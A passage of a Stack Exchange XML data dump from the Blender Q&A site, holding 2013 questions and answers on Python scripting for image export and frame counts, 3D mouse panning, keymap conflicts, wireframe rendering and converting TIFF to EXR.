image.name)&#xA;        init_from = self.__doc.createElement(&quot;init_from&quot;)&#xA;        path_node = self.__doc.createTextNode(&quot;%s&quot; % image_path)&#xA;        init_from.appendChild(path_node)&#xA;        image_element.appendChild(init_from)&#xA;        library_images.appendChild(image_element)&#xA;&#xA;def __convert_to_tiff_and_save(self, image):&#xA;    if image.file_format is not 'TIFF':&#xA;        tiffFilePath = os.path.splitext(image.filepath)[0] + &quot;.tif&quot;&#xA;        cbPrint(tiffFilePath, 'debug')&#xA;&#xA;        if self.__config.run_rc_and_do_materials:&#xA;            try:&#xA;                tiffImage = image.copy()&#xA;                tiffImage.filepath_raw = tiffFilePath&#xA;                tiffImage.file_format = 'TIFF'&#xA;                tiffImage.save()&#xA;            finally:&#xA;                # remove tmp image from blend file database&#xA;                bpy.data.images.remove(tiffImage)&#xA;    else:&#xA;        tiffFilePath = image.filepath&#xA;&#xA;    return tiffFilePath&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="Mikołaj" LastActivityDate="2013-09-30T16:41:50.027" Title="Why blender throws an exception when saving a copy of image?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3130" PostTypeId="1" CreationDate="2013-09-30T16:41:35.117" Score="4" ViewCount="1416" Body="&lt;p&gt;I have a question about 3D Space Navigators within Blender. The model I'm currently using is the Space Pilot Pro, a logitec product by 3dconnexion. I am not able to pan the view with my SpacePilot Pro 3D mouse. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get this device to pan the view?  For some reason it is locked by default.&lt;/p&gt;&#xA;" OwnerUserId="1373" LastEditorUserId="42362" LastEditDate="2017-07-12T13:28:05.580" LastActivityDate="2017-08-03T16:39:49.073" Title="3D navigation using a Space Pilot Pro" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;3d-mouse&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3131" PostTypeId="2" ParentId="3128" CreationDate="2013-09-30T16:41:50.027" Score="6" Body="&lt;p&gt;You can use &lt;code&gt;save_render()&lt;/code&gt; to save to whatever format you want, no need to duplicate an image datablock first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, &lt;code&gt;save_render()&lt;/code&gt; is the only reliable way to export from one format to another. I tried the &lt;code&gt;.filepath_raw / .file_format&lt;/code&gt; way as well, but it turned out to not actually write the data in the expected format (it used the source format with target format's extension).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;save_render()&lt;/code&gt; does &lt;strong&gt;not&lt;/strong&gt; render anything, it is called ...&lt;code&gt;_render&lt;/code&gt; because it uses the render settings of the current scene.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;img = bpy.data.images[0] # pick an image datablock&#xA;filepath = r&quot;C:\tmp\_exported_image.tif&quot; # specify outout filepath here&#xA;&#xA;# Store current render settings&#xA;settings = bpy.context.scene.render.image_settings&#xA;format = settings.file_format&#xA;mode = settings.color_mode&#xA;depth = settings.color_depth&#xA;&#xA;# Change render settings to our target format&#xA;settings.file_format = 'TIFF'&#xA;settings.color_mode = 'RGBA'&#xA;settings.color_depth = '8'&#xA;&#xA;# Save image to TIF, this does NOT render anything!&#xA;# It only means that the save command will use the current scene's render settings.&#xA;img.save_render(filepath)&#xA;&#xA;# Restore previous render settings&#xA;settings.file_format = format&#xA;settings.color_mode = mode&#xA;settings.color_depth = depth&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-09-30T16:41:50.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3132" PostTypeId="1" CreationDate="2013-09-30T18:34:31.430" Score="12" ViewCount="1092" Body="&lt;p&gt;I can't access the Clipping Border command (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt;) with my standard Blender setup. When I load factory settings everything works okay, so I presume there must be an addon that conflicts with this command (I realize I could be wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to find the conflicting addon except for turning all of them off and then load one by one? &lt;/p&gt;&#xA;" OwnerUserId="1374" LastEditorUserId="55" LastEditDate="2013-10-01T02:59:06.443" LastActivityDate="2013-10-01T13:54:31.487" Title="How to identify a keymap conflict?" Tags="&lt;customization&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3134" PostTypeId="1" AcceptedAnswerId="3710" CreationDate="2013-09-30T20:40:25.640" Score="5" ViewCount="482" Body="&lt;p&gt;It seems the &lt;em&gt;Copy to selected&lt;/em&gt; option is not available in the &lt;em&gt;Movie clip editor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to copy tracker settings from the active tracker to selected trackers? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-04T19:55:19.440" LastActivityDate="2013-11-05T23:46:02.220" Title="Copy tracking settings to selected trackers?" Tags="&lt;workflow&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3136" PostTypeId="2" ParentId="3132" CreationDate="2013-09-30T22:19:43.250" Score="10" Body="&lt;p&gt;Go to &lt;em&gt;File &gt; User Preferences &gt; Input&lt;/em&gt;, set the dropdown menu next to the search field to &lt;em&gt;Key-Binding&lt;/em&gt; and enter &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;. It should list all operators bound to a key. It includes addon keybindings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UIiIR.png&quot; alt=&quot;User Prefernces &amp;gt; Input, Search by Key-Binding&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addons can also capture events in modal operators, but it's really rare that they consume certain events and pass on the rest. So it would be pretty obvious that there's something running in the background, because a lot of actions wouldn't work.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="12" LastEditDate="2013-10-01T13:54:31.487" LastActivityDate="2013-10-01T13:54:31.487" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3138" PostTypeId="1" AcceptedAnswerId="3139" CreationDate="2013-10-01T03:27:20.977" Score="2" ViewCount="777" Body="&lt;p&gt;Background: Originally I was making a water animation using displacement null objects and needed a way to convert them to shape keys and fortunately Chipmasque provided a solution (exporting to .mdd and then importing). The problem now is that I need the animation to loop (and the water must appear to only be moving in 1 direction). Blender does not seem to be able to interpolate the vertex information well enough to maintain the illusion of movement (it will just change Z height back to the original position). I've tried changing the animation on the Null Object used to influence the vertexes, but haven't found anything that looks good (either there is an obvious &quot;jump/snap&quot; or the mesh has to stop, then adjust height, then start cycling again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual Question:&#xA;-Does anyone know a good way to loop this type of vertex animation?&lt;/p&gt;&#xA;" OwnerUserId="1378" LastEditorUserId="12" LastEditDate="2013-12-18T15:21:47.443" LastActivityDate="2013-12-18T15:21:47.443" Title="Looping Displacement Modifier Animation" Tags="&lt;animation&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3139" PostTypeId="2" ParentId="3138" CreationDate="2013-10-01T07:54:16.293" Score="1" Body="&lt;p&gt;I would use an animation-image-texture for that, with each frame made seemless, in an other application like gimp. That texture with the displace-modifier and Texture-Coodinates to Object. As Object I would use an plane, that plane set to not rendered an animate it with key-frames. The Interpolation-Mode set in the Graph-editor to Linear.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-10-01T07:54:16.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3140" PostTypeId="1" CreationDate="2013-10-01T09:35:13.140" Score="2" ViewCount="1086" Body="&lt;p&gt;I'm trying to make something like map editor for my project. I'm rather new in Blender Python scripting and I have some troubles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made &quot;Material&quot; panel and I want to set &quot;textureName&quot; property for my object. What I need is to make some list of loaded in blender images (like in UV Editor you can load image and it appears on list). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my panel I want just to choose one image and assign name of that image to my property. I can list loaded images by &lt;em&gt;bpy.data.images&lt;/em&gt; but I can't dynamically add new images to property (for now I'm using &lt;em&gt;EnumProperty&lt;/em&gt; assigned to &lt;em&gt;bpy.types.Object.textureName&lt;/em&gt;). I was trying to make same UI widget like blender have (&lt;a href=&quot;https://i.imgur.com/6VJVAsN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i.imgur.com/6VJVAsN.png&lt;/a&gt;) but I have no idea how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody help me with this?&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-10-02T20:56:17.023" Title="Blender API (2.6), UI list of loaded images" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3141" PostTypeId="1" AcceptedAnswerId="3143" CreationDate="2013-10-01T09:51:53.403" Score="8" ViewCount="3336" Body="&lt;p&gt;I'd like to know if there is a command-line option (or combination, or a way!) to get the number of frames that are included in a specified blender scene; for example I'd like to use is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ blender &amp;lt;option&amp;gt; file.blend&#xA;$ Number of frames in blender scene: xxxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1382" LastEditorUserId="599" LastEditDate="2013-10-01T20:13:44.920" LastActivityDate="2015-09-16T17:30:38.043" Title="Get number of frames in scene from the command line?" Tags="&lt;command-line&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3142" PostTypeId="2" ParentId="3141" CreationDate="2013-10-01T10:13:16.193" Score="3" Body="&lt;p&gt;The Command Line reference does not list a command to output the number frames of a scene:&#xA;&lt;a href=&quot;https://www.blender.org/manual/advanced/command_line.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/advanced/command_line.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can tell Blender what scene to use and to render all frames (if that is what you want):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt; -a or --render-anim &#xA;     Render frames from start to end (inclusive)&#xA;&#xA; -S or --scene &#xA;     Set the active scene  for renderingame&gt; for rendering&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It probably uses the frame range as set within the .blend (Timeline).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is your definition of &quot;all frames&quot; from first &lt;b&gt;key&lt;/b&gt;frame to last?&#xA;In that case, you need a little script that determines the range and returns the info. A python script can be run like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt; -P or --python &#xA;     Run the given Python script file&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;If you want to find the min and max keyframe of any object in a scene, you can use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;keyframed_ranges = {}&#xA;&#xA;for scene in bpy.data.scenes:&#xA;    lower = []&#xA;    upper = []&#xA;    for ob in scene.objects:&#xA;        if (ob.animation_data is not None and&#xA;            ob.animation_data.action is not None):&#xA;&#xA;            # Note: frame_range.y is frame_range_x+1 if there's just a single keyframe!&#xA;&#xA;            lower.append(ob.animation_data.action.frame_range.x)&#xA;            upper.append(ob.animation_data.action.frame_range.y)&#xA;&#xA;    if not lower or not upper:&#xA;        keyframed_range = scene.frame_start, scene.frame_start&#xA;    else:&#xA;        keyframed_range = min(lower), max(upper)&#xA;&#xA;    keyframed_ranges[scene.name] = keyframed_range&#xA;&#xA;print(keyframed_ranges)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="55" LastEditDate="2015-09-16T17:30:38.043" LastActivityDate="2015-09-16T17:30:38.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3143" PostTypeId="2" ParentId="3141" CreationDate="2013-10-01T11:25:02.037" Score="9" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, Blender has no command line arguments to return the number of frames in the scene, however you can use a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a script as mentioned by CoDEmanX above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;print(&quot;Scene %r frames: %d..%d = %d&quot; % (scene.name, scene.frame_start, scene.frame_end, scene.frame_end - scene.frame_start + 1)) # frame_end is included&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Store this as a .py file, then you can run it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b &amp;lt;path-to-blend-file&amp;gt; -P &amp;lt;path-to-script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="436" LastEditorUserId="55" LastEditDate="2013-10-01T16:12:08.553" LastActivityDate="2013-10-01T16:12:08.553" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3144" PostTypeId="2" ParentId="3141" CreationDate="2013-10-01T16:18:18.887" Score="10" Body="&lt;p&gt;This information is stored in the &lt;code&gt;blend&lt;/code&gt; files header, so you can find out without having to load Blender at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has the advantage you can scan a directory of 100's (or 1000's) of blend files in a very short time (a few seconds even if the files are large).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender comes with a script in &lt;code&gt;scripts/modules/blend_render_info.py&lt;/code&gt; which can extract this data from a blend file (you don't even need Blender to be installed just a copy of this file and Python is enough).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can load the script as a module or execute it directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;command line example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# python blend_render_info.py /path/to/my_test.blend&#xA;1 250 Scene&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;python example:&#xA;&lt;em&gt;This can run inside blender,&#xA;otherwise &lt;code&gt;blend_render_info.py&lt;/code&gt; will have to be in Python's &lt;code&gt;sys.path&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import blend_render_info&#xA;&#xA;filepath = &quot;/path/to/my_test.blend&quot;&#xA;frame_start, frame_end, scene = blend_render_info.read_blend_rend_chunk(filepath)&#xA;&#xA;print(&quot;total frames:&quot;, (frame_end - frame_start) + 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the frame range and active scene is stored, if you want more info you'll have to use a script and load the file into Blender.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-09-06T08:20:37.613" LastActivityDate="2015-09-06T08:20:37.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3145" PostTypeId="2" ParentId="2969" CreationDate="2013-10-02T00:03:09.180" Score="5" Body="&lt;p&gt;It's possible to let it start in a certain directory from script:&#xA;&lt;code&gt;bpy.ops.wm.link_append('INVOKE_AREA', directory=&quot;C:\\tmp&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, it's possible to bind a key combination for that as well. You can simply edit the existing Shift+F1 binding:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0I32A.png&quot; alt=&quot;Set default path for link/append operator&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set search type to &lt;em&gt;Key-Binding&lt;/em&gt;, search for &quot;Shift F1&quot;, expand the entry and pick a directory.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-10-02T00:03:09.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3146" PostTypeId="1" AcceptedAnswerId="3147" CreationDate="2013-10-02T11:15:18.147" Score="1" ViewCount="936" Body="&lt;p&gt;I am trying to fix a problem with the FBX exporter. Two vertices in my test model don't seem to have bones/weights assigned to them. This is confirmed by printing vertex.groups to the console during export for those vertices, and by checking the vertex in the Blender UI, so it is not just an exporter or API problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender still seems to skin these vertices correctly in the UI when I move the skeleton.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a simple fix for the model would be to assign the vertices to appropriate vertex groups. But I am curious how Blender calculates the weights/influences for those vertices. Is it a hack based on neighbouring vertices, or does it go through bone envelopes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A test model is at opengameart.org/content/dwarf-fixed . If you lift either boot in Blender it looks fine, if you import this into Unity the vertices that are reported as having 0 weights by the exporter are stuck to the floor. These vertices are in no group, but they still skin fine in Blender. &lt;/p&gt;&#xA;" OwnerUserId="1387" LastEditorUserId="1387" LastEditDate="2013-10-02T13:24:12.437" LastActivityDate="2013-10-02T13:52:39.160" Title="Default skinning for vertices with no assigned vertex group" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3147" PostTypeId="2" ParentId="3146" CreationDate="2013-10-02T13:44:22.223" Score="1" Body="&lt;p&gt;There is no system based on neighbouring vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely it is bone envelopes, you can look at the Armature modifier to see if they are enabled. If they are, disable them and see if that stops the vertices moving along with the armature.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="242" LastEditDate="2013-10-02T13:52:39.160" LastActivityDate="2013-10-02T13:52:39.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3148" PostTypeId="2" ParentId="3130" CreationDate="2013-10-02T14:24:23.813" Score="3" Body="&lt;p&gt;Using the default configuration you'll need to hold down &lt;kbd&gt;shift&lt;/kbd&gt; while tweaking the knob for panning. Your Space Pilot Pro should have a &lt;kbd&gt;shift&lt;/kbd&gt; built into it for easy access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also adjust Blender's NDOF keymap to better suite your liking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hPh9x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-10-02T14:24:23.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3149" PostTypeId="1" AcceptedAnswerId="3150" CreationDate="2013-10-02T14:38:46.393" Score="20" ViewCount="29434" Body="&lt;p&gt;I have a schematic of a raspberry pi that is completely flat, no solid faces, just connected vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to render these lines somehow, so that it looks like a 2D drawing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe with freestyle?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="599" LastEditDate="2013-10-02T19:29:31.697" LastActivityDate="2021-04-02T16:00:56.197" Title="How can I render an edge only mesh as solid lines?" Tags="&lt;rendering&gt;&lt;wireframe&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="3150" PostTypeId="2" ParentId="3149" CreationDate="2013-10-02T14:49:11.520" Score="14" Body="&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This answer is for &lt;strong&gt;2.79&lt;/strong&gt; only. For 2.8+ you will have to look at some of the other answers.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The simplest way to render an object that has no faces is to change the material type in the internal renderer to a 'Wire' material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CLwvi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh on the left, when rendered, looks like the image on the right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tl3bV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also changed it to be 'Shadeless' in the shading panel of the material so that it wouldn't be affected by shadows and would be lit equally.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2020-05-27T15:25:15.070" LastActivityDate="2020-05-27T15:25:15.070" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="3151" PostTypeId="2" ParentId="3149" CreationDate="2013-10-02T17:50:27.587" Score="11" Body="&lt;p&gt;For the sake of completeness, there is also the possibility to use the skin modifier.&#xA;It removes faces (if present) from your mesh and builds tubes intersecting at all vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below a screenshow showing original mesh (manually deleted faces), with skin modifier and last with skin modifier and subdivision modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can scale the tubing thickness at each vertices (use &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; in edit mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PpMXX.png&quot; alt=&quot;Skin modifier screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-10-02T17:50:27.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3152" PostTypeId="2" ParentId="3140" CreationDate="2013-10-02T20:56:17.023" Score="1" Body="&lt;p&gt;Adding a &quot;real&quot; datablock widget won't quite work and it's not possible (or at least not easy) to have a dynamically populated &lt;code&gt;EnumProperty&lt;/code&gt; object. Fortunately, there is the &lt;code&gt;prop_search()&lt;/code&gt; UILayout function. You can use that to assign the name of a datablock to a &lt;code&gt;StringProperty&lt;/code&gt; variable. So, you should have something along the lines of this for that &lt;code&gt;StringProperty&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Object.textureName = bpy.props.StringProperty(name=&quot;Texture&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With that done, all objects now have a new string property called &lt;code&gt;textureName&lt;/code&gt; that defaults to an empty string. Now, in your panel, add something akin to the following in the &lt;code&gt;draw()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw(self, context):&#xA;    ob = context.active_object&#xA;&#xA;    layout = self.layout&#xA;    layout.prop_search(ob, &quot;textureName&quot;, bpy.data, &quot;images&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, this only assigns the name of the texture to that &lt;code&gt;StringProperty&lt;/code&gt; variable. You still need to write code that does something with this property.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-10-02T20:56:17.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3153" PostTypeId="2" ParentId="3149" CreationDate="2013-10-02T22:20:01.380" Score="11" Body="&lt;p&gt;It seems as if freestyle doesn't care for wireframe meshes. Even faces aren't recognized if they have 0 surface area (edge extruded and escaped).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to achieve that effect with freestyle then assign a material to your mesh (with faces) that has &lt;em&gt;Z Transparency&lt;/em&gt; enabled. &lt;em&gt;Alpha&lt;/em&gt; and &lt;em&gt;Specularity&lt;/em&gt; should be set to 0.0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the flat edgelines visible for freestyle, just extrude them all away from the camera. Then select the edges that you want to keep seeing with a &lt;em&gt;Border Select&lt;/em&gt; and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; - &lt;em&gt;Mark Freestyle Edge&lt;/em&gt;. Set freestyle to render nothing but &lt;em&gt;Edge Mark&lt;/em&gt;. The transparent material will hide the surplus geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z8nTB.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can set the material to &lt;em&gt;Cast Only&lt;/em&gt; in the &lt;em&gt;Shadow&lt;/em&gt; panel. It works if your scene doesn't have shadows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can disable &lt;em&gt;Solid&lt;/em&gt; in the &lt;em&gt;Layer&lt;/em&gt; panel of the &lt;em&gt;Render Layers&lt;/em&gt;. Then nothing gets rendered except the freestyle pass. I get the best results if I disable &lt;em&gt;Chaining&lt;/em&gt; and set the &lt;em&gt;Caps&lt;/em&gt; to &lt;em&gt;Round&lt;/em&gt; in the &lt;em&gt;Freestyle Line Style&lt;/em&gt; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantages: You don't have to display every edge. You can control line thickness and line style very creatively. Dashed lines are possible, to name just one option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sV4xG.jpg&quot; alt=&quot;blender wireframe freestyle comparison&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-03T17:55:46.413" LastActivityDate="2013-10-03T17:55:46.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3154" PostTypeId="1" CreationDate="2013-10-03T07:39:33.920" Score="3" ViewCount="2940" Body="&lt;p&gt;I have a problem with very obvious banding showing up when using a TIFF generated from an Digital Elevation Model in ArcGIS. The image you see uses an exported 24 bit TIFF. I think it could be solved if I can use an exported 32 bit grayscale TIFF from ArcGIS, but this won't load in Blender. I can also export the height data as an ASCII file, but see no way of using this, except by maybe writing a Python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6J5ZB.jpg&quot; alt=&quot;Banding in the terrain&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read something about Blender being able to use OpenEXR, but I can't figure out how to convert my TIFF to this format. I'm on a Windows 7 machine. Can anyone help me, or know a way to solve this without converting to EXR?&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2013-10-04T11:49:19.013" Title="Using a 32 bit grayscale TIFF in the displace modifier" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3155" PostTypeId="1" AcceptedAnswerId="3179" CreationDate="2013-10-03T09:57:17.257" Score="4" ViewCount="1371" Body="&lt;p&gt;Can we know, with python, if the system console of blender is open? I know that we can open or close it with this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.console_toggle()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't return the 'state' of the system console like open or closed (True,False).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be sure that the console is open when i execute one of my script.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-10-04T21:34:00.580" Title="How to know if the system console is open?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3156" PostTypeId="1" CreationDate="2013-10-03T10:22:06.123" Score="11" ViewCount="2370" Body="&lt;p&gt;First, a picture to show my question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQLVi.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;As you can see in the second picture, when I scale two vertices of a quad the texture gets distorted wrong. Because a quad is basically two triangles, when I distort the quad only one triangle is being stretched, so the texture warps badly revealing the hidden edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to map the texture as in the 3rd image (I've done that subdividing the quad multiple times). Is there any option to map the texture so I get the same result?&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="599" LastEditDate="2013-12-15T03:01:45.753" LastActivityDate="2017-05-17T01:29:10.620" Title="How to map a texture to a distorted quad?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3157" PostTypeId="2" ParentId="3154" CreationDate="2013-10-03T13:20:31.327" Score="1" Body="&lt;p&gt;You can convert a .tiff file to a .exr file using blender.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;First switch to the Node editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tYdH0.jpg&quot; alt=&quot;Switch to the node editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Next in the bottom panel you will see a box with 3 buttons in it click on the right one. Also enable 'use nodes' and 'backdrop'.&lt;img src=&quot;https://i.stack.imgur.com/MfF4F.jpg&quot; alt=&quot;enable backdrop and use nodes, also switch to compositing setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Next add an input. 'Shift + A' Input &gt; Image. Navigate to your image you would like to convert.&lt;img src=&quot;https://i.stack.imgur.com/xctMK.jpg&quot; alt=&quot;Add image 